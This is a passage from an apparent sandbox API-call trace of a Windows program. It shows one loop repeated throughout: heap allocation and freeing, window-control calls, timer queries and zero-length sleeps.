(dwMilliseconds=0x0) [0033.281] GetProcessHeap () returned 0x790000 [0033.281] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.281] GetProcessHeap () returned 0x790000 [0033.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.281] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.281] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.281] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.281] timeGetTime () returned 0x1143581 [0033.281] Sleep (dwMilliseconds=0x0) [0033.281] GetProcessHeap () returned 0x790000 [0033.281] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.281] GetProcessHeap () returned 0x790000 [0033.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.281] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.281] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.281] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.281] timeGetTime () returned 0x1143581 [0033.281] Sleep (dwMilliseconds=0x0) [0033.281] GetProcessHeap () returned 0x790000 [0033.281] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.281] GetProcessHeap () returned 0x790000 [0033.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.281] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.281] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.281] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.281] timeGetTime () returned 0x1143581 [0033.281] Sleep (dwMilliseconds=0x0) [0033.281] GetProcessHeap () returned 0x790000 [0033.282] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.282] GetProcessHeap () returned 0x790000 [0033.282] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.282] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.282] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.282] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.282] timeGetTime () returned 0x1143581 [0033.282] Sleep (dwMilliseconds=0x0) [0033.282] GetProcessHeap () returned 0x790000 [0033.282] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.282] GetProcessHeap () returned 0x790000 [0033.282] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.282] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.282] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.282] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.282] timeGetTime () returned 0x1143581 [0033.282] Sleep (dwMilliseconds=0x0) [0033.282] GetProcessHeap () returned 0x790000 [0033.282] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.282] GetProcessHeap () returned 0x790000 [0033.282] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.282] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.282] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.282] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.282] timeGetTime () returned 0x1143581 [0033.282] Sleep (dwMilliseconds=0x0) [0033.282] GetProcessHeap () returned 0x790000 [0033.282] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.282] GetProcessHeap () returned 0x790000 [0033.282] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.282] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.282] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.282] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.282] timeGetTime () returned 0x1143581 [0033.282] Sleep (dwMilliseconds=0x0) [0033.282] GetProcessHeap () returned 0x790000 [0033.282] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.283] GetProcessHeap () returned 0x790000 [0033.283] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.283] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.283] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.283] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.283] timeGetTime () returned 0x1143581 [0033.283] Sleep (dwMilliseconds=0x0) [0033.283] GetProcessHeap () returned 0x790000 [0033.283] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.283] GetProcessHeap () returned 0x790000 [0033.283] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.283] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.283] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.283] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.283] timeGetTime () returned 0x1143581 [0033.283] Sleep (dwMilliseconds=0x0) [0033.283] GetProcessHeap () returned 0x790000 [0033.283] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.283] GetProcessHeap () returned 0x790000 [0033.283] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.283] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.283] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.283] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.283] timeGetTime () returned 0x1143581 [0033.283] Sleep (dwMilliseconds=0x0) [0033.283] GetProcessHeap () returned 0x790000 [0033.283] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.283] GetProcessHeap () returned 0x790000 [0033.283] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.283] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.283] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.283] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.283] timeGetTime () returned 0x1143581 [0033.283] Sleep (dwMilliseconds=0x0) [0033.283] GetProcessHeap () returned 0x790000 [0033.283] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.284] GetProcessHeap () returned 0x790000 [0033.284] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.284] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.284] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.284] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.284] timeGetTime () returned 0x1143581 [0033.284] Sleep (dwMilliseconds=0x0) [0033.284] GetProcessHeap () returned 0x790000 [0033.284] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.284] GetProcessHeap () returned 0x790000 [0033.284] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.284] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.284] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.284] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.284] timeGetTime () returned 0x1143581 [0033.284] Sleep (dwMilliseconds=0x0) [0033.284] GetProcessHeap () returned 0x790000 [0033.284] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.284] GetProcessHeap () returned 0x790000 [0033.284] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.284] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.284] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.284] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.284] timeGetTime () returned 0x1143581 [0033.284] Sleep (dwMilliseconds=0x0) [0033.284] GetProcessHeap () returned 0x790000 [0033.284] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.284] GetProcessHeap () returned 0x790000 [0033.284] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.284] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.284] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.284] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.284] timeGetTime () returned 0x1143581 [0033.284] Sleep (dwMilliseconds=0x0) [0033.284] GetProcessHeap () returned 0x790000 [0033.284] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.285] GetProcessHeap () returned 0x790000 [0033.285] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.285] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.285] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.285] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.285] timeGetTime () returned 0x1143581 [0033.285] Sleep (dwMilliseconds=0x0) [0033.285] GetProcessHeap () returned 0x790000 [0033.285] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.285] GetProcessHeap () returned 0x790000 [0033.285] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.285] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.285] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.285] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.285] timeGetTime () returned 0x1143581 [0033.285] Sleep (dwMilliseconds=0x0) [0033.285] GetProcessHeap () returned 0x790000 [0033.285] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.285] GetProcessHeap () returned 0x790000 [0033.285] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.285] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.285] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.285] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.285] timeGetTime () returned 0x1143581 [0033.285] Sleep (dwMilliseconds=0x0) [0033.285] GetProcessHeap () returned 0x790000 [0033.285] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.285] GetProcessHeap () returned 0x790000 [0033.285] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.285] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.285] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.285] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.285] timeGetTime () returned 0x1143581 [0033.285] Sleep (dwMilliseconds=0x0) [0033.285] GetProcessHeap () returned 0x790000 [0033.285] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.285] GetProcessHeap () returned 0x790000 [0033.286] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.286] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.286] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.286] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.286] timeGetTime () returned 0x1143581 [0033.286] Sleep (dwMilliseconds=0x0) [0033.286] GetProcessHeap () returned 0x790000 [0033.286] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.286] GetProcessHeap () returned 0x790000 [0033.286] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.286] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.286] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.286] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.286] timeGetTime () returned 0x1143581 [0033.286] Sleep (dwMilliseconds=0x0) [0033.286] GetProcessHeap () returned 0x790000 [0033.286] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.286] GetProcessHeap () returned 0x790000 [0033.286] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.286] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.286] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.286] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.286] timeGetTime () returned 0x1143581 [0033.286] Sleep (dwMilliseconds=0x0) [0033.286] GetProcessHeap () returned 0x790000 [0033.286] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.286] GetProcessHeap () returned 0x790000 [0033.286] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.286] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.286] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.286] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.286] timeGetTime () returned 0x1143581 [0033.286] Sleep (dwMilliseconds=0x0) [0033.286] GetProcessHeap () returned 0x790000 [0033.286] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.286] GetProcessHeap () returned 0x790000 [0033.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.287] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.287] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.287] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.287] timeGetTime () returned 0x1143581 [0033.287] Sleep (dwMilliseconds=0x0) [0033.287] GetProcessHeap () returned 0x790000 [0033.287] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.287] GetProcessHeap () returned 0x790000 [0033.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.287] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.287] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.287] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.287] timeGetTime () returned 0x1143581 [0033.287] Sleep (dwMilliseconds=0x0) [0033.287] GetProcessHeap () returned 0x790000 [0033.287] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.287] GetProcessHeap () returned 0x790000 [0033.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.287] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.287] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.287] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.287] timeGetTime () returned 0x1143581 [0033.287] Sleep (dwMilliseconds=0x0) [0033.287] GetProcessHeap () returned 0x790000 [0033.287] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.287] GetProcessHeap () returned 0x790000 [0033.287] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.287] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.287] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.287] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.287] timeGetTime () returned 0x1143581 [0033.287] Sleep (dwMilliseconds=0x0) [0033.287] GetProcessHeap () returned 0x790000 [0033.287] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.287] GetProcessHeap () returned 0x790000 [0033.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.288] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.288] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.288] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.288] timeGetTime () returned 0x1143581 [0033.288] Sleep (dwMilliseconds=0x0) [0033.288] GetProcessHeap () returned 0x790000 [0033.288] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.288] GetProcessHeap () returned 0x790000 [0033.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.288] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.288] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.288] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.288] timeGetTime () returned 0x1143581 [0033.288] Sleep (dwMilliseconds=0x0) [0033.288] GetProcessHeap () returned 0x790000 [0033.288] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.288] GetProcessHeap () returned 0x790000 [0033.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.288] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.288] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.288] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.288] timeGetTime () returned 0x1143581 [0033.288] Sleep (dwMilliseconds=0x0) [0033.288] GetProcessHeap () returned 0x790000 [0033.288] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.288] GetProcessHeap () returned 0x790000 [0033.288] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.288] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.288] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.288] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.288] timeGetTime () returned 0x1143581 [0033.288] Sleep (dwMilliseconds=0x0) [0033.288] GetProcessHeap () returned 0x790000 [0033.288] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.288] GetProcessHeap () returned 0x790000 [0033.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.289] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.289] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.289] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.289] timeGetTime () returned 0x1143581 [0033.289] Sleep (dwMilliseconds=0x0) [0033.289] GetProcessHeap () returned 0x790000 [0033.289] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.289] GetProcessHeap () returned 0x790000 [0033.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.289] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.289] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.289] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.289] timeGetTime () returned 0x1143581 [0033.289] Sleep (dwMilliseconds=0x0) [0033.289] GetProcessHeap () returned 0x790000 [0033.289] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.289] GetProcessHeap () returned 0x790000 [0033.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.289] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.289] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.289] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.289] timeGetTime () returned 0x1143581 [0033.289] Sleep (dwMilliseconds=0x0) [0033.289] GetProcessHeap () returned 0x790000 [0033.289] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.289] GetProcessHeap () returned 0x790000 [0033.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.289] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.289] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.289] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.289] timeGetTime () returned 0x1143581 [0033.289] Sleep (dwMilliseconds=0x0) [0033.289] GetProcessHeap () returned 0x790000 [0033.289] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.289] GetProcessHeap () returned 0x790000 [0033.289] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.290] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.290] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.290] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.290] timeGetTime () returned 0x1143581 [0033.290] Sleep (dwMilliseconds=0x0) [0033.290] GetProcessHeap () returned 0x790000 [0033.290] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.290] GetProcessHeap () returned 0x790000 [0033.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.290] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.290] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.290] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.290] timeGetTime () returned 0x1143581 [0033.290] Sleep (dwMilliseconds=0x0) [0033.290] GetProcessHeap () returned 0x790000 [0033.290] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.290] GetProcessHeap () returned 0x790000 [0033.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.290] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.290] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.290] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.290] timeGetTime () returned 0x1143581 [0033.290] Sleep (dwMilliseconds=0x0) [0033.290] GetProcessHeap () returned 0x790000 [0033.290] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.290] GetProcessHeap () returned 0x790000 [0033.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.290] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.290] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.290] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.290] timeGetTime () returned 0x1143581 [0033.290] Sleep (dwMilliseconds=0x0) [0033.290] GetProcessHeap () returned 0x790000 [0033.290] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.290] GetProcessHeap () returned 0x790000 [0033.290] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.290] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.291] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.291] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.291] timeGetTime () returned 0x1143581 [0033.291] Sleep (dwMilliseconds=0x0) [0033.291] GetProcessHeap () returned 0x790000 [0033.291] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.291] GetProcessHeap () returned 0x790000 [0033.291] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.291] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.291] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.291] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.291] timeGetTime () returned 0x1143581 [0033.291] Sleep (dwMilliseconds=0x0) [0033.291] GetProcessHeap () returned 0x790000 [0033.291] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.291] GetProcessHeap () returned 0x790000 [0033.291] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.291] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.291] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.291] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.291] timeGetTime () returned 0x1143581 [0033.291] Sleep (dwMilliseconds=0x0) [0033.291] GetProcessHeap () returned 0x790000 [0033.291] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.291] GetProcessHeap () returned 0x790000 [0033.291] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.291] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.291] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.291] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.291] timeGetTime () returned 0x1143581 [0033.291] Sleep (dwMilliseconds=0x0) [0033.291] GetProcessHeap () returned 0x790000 [0033.291] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.291] GetProcessHeap () returned 0x790000 [0033.291] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.291] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.292] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.292] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.292] timeGetTime () returned 0x1143581 [0033.292] Sleep (dwMilliseconds=0x0) [0033.292] GetProcessHeap () returned 0x790000 [0033.292] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.292] GetProcessHeap () returned 0x790000 [0033.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.292] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.292] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.292] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.292] timeGetTime () returned 0x1143581 [0033.292] Sleep (dwMilliseconds=0x0) [0033.292] GetProcessHeap () returned 0x790000 [0033.292] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.292] GetProcessHeap () returned 0x790000 [0033.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.292] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.292] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.292] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.292] timeGetTime () returned 0x1143581 [0033.292] Sleep (dwMilliseconds=0x0) [0033.292] GetProcessHeap () returned 0x790000 [0033.292] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.292] GetProcessHeap () returned 0x790000 [0033.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.292] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.292] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.292] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.292] timeGetTime () returned 0x1143581 [0033.292] Sleep (dwMilliseconds=0x0) [0033.292] GetProcessHeap () returned 0x790000 [0033.292] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.292] GetProcessHeap () returned 0x790000 [0033.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.292] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.293] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.293] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.293] timeGetTime () returned 0x1143581 [0033.293] Sleep (dwMilliseconds=0x0) [0033.293] GetProcessHeap () returned 0x790000 [0033.293] RtlAllocateHeap (HeapHandle=0x790000, 